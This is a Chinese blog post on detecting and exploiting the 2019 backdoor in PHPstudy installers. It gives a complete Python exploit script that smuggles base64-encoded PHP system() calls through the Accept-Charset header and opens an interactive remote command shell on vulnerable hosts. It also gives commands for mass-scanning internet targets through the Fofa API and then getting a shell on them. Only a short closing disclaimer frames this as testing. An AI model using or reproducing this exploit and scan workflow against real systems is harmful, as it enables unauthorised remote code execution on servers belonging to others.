phpstudy后门检测及利用

0x00 前言

前几天爆出了PHPstudy被黑客入侵,导致安装包被植入后门,所有下载该工具的人,都有可能被人直接远程控制。今天来给大家直接演示批量扫描存在PHPstudy后门的主机,然后对存在后门的主机直接getshell。

0x01 前期准备

【环境需求】

kali Linux渗透测试系统

saucerframe攻击框架

PHPstudy利用脚本

1.1 kali Linux系统安装

出门右拐百度,一大堆教程

1.2 saucerframe攻击框架的安装

框架GitHub地址:传送门

【安装步骤】

1
2
3
git clone https://github.com/saucer-man/saucerframe.git 
cd saucerframe
pip install -r requirement.txt

saucerframe框架需要python3的环境。

【使用说明】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. 指定poc脚本(必需,支持同时指定多个poc)
-s redis_unauth,mongodb_unauth

# 2. 指定目标(必需)
-iU www.xxx.com 单个目标
-iF target.txt 从文本中加载
-iR 192.168.1.1-192.168.2.100 根据ip地址范围加载
-iN 192.168.1.0/24 根据网段加载
-aZ "redis" ZoomEye api加载
-aS "redis" Shodan api加载
-aC "redis" Censys api加载
-aF "redis" Fofa api加载

# 3. 其他(可选)
-h 查看帮助信息
-t 300 并发数(默认100)
--proxy socks5://127.0.0.1:1080 使用sock5代理
-o result.txt 指定输出文件
-v 4 指定终端输出详细级别(1-5, 默认为2)
--show 查看所有poc
-eT 并发采用多线程方式
-eG 并发采用协程方式(默认)

1.3 PHPstudy后门利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : PHPStudy_Backdoor.py
@Time : 2019/09/23 19:17:02
@Author : fuhei
@Version : 1.0
@Blog : http://www.lovei.org
'''

import requests
import base64
import sys

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Sec-Fetch-Site': 'none',
'accept-charset': 'ZXhpdCgnZnVoZWk2NjYnKTs=',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
}

def exp(url, command="whoami"):
command = "system(\"" + command + "\");"
command = base64.b64encode(command.encode('utf-8'))
headers['accept-charset'] = str(command, 'utf-8')
user = result = requests.get(url, headers=headers, verify=False).text.split('<!')[0].strip('\r\n')
print(user)
while(1):
command = input(user+"@fuhei$ ")
if command == 'exit' or command == 'quit':
break
else:
command = "system(\"" + command + "\");"
command = base64.b64encode(command.encode('utf-8'))
headers['accept-charset'] = str(command, 'utf-8')
result = requests.get(url, headers=headers, verify=False)
result.encoding = "GBK"
print(result)
result = result.text.split('<!')
if 'Cannot execute a blank command in' in result[0]:
pass
else:
print(result[0], end="")

def check(url):
result = requests.get(url, headers=headers, verify=False)
if result.status_code == 200 and 'fuhei666' in result.text:
print("[+] Remote code execution vulnerability exists at the target address")
return True
else:
print("[-] There is no remote code execution vulnerability in the target address")
return False

if __name__ == '__main__':
if len(sys.argv) == 2:
url = sys.argv[1]
if check(url):
exp(url)
else:
print("[!] Usage python3 PHPStudy_Backdoor.py http://www.lovei.org/")

0x02 开炮

进入saucerframe文件夹,查看可利用的PHPstudy后门扫描脚本。

python saucerframe.py –show

python saucerframe.py -s phpstudy_backdoor.py -aF “phpstudy”

python phpstudy_getshell.py http://IP地址

免责声明:

本文意在讨论使用工具来应对软件研发领域中,日益增长的安全性质量测试需求。本文涉及到的工具不可被用于攻击目的**,本人概不承担一切后果。**


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2019/10/09/phpstudy后门检测及利用/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论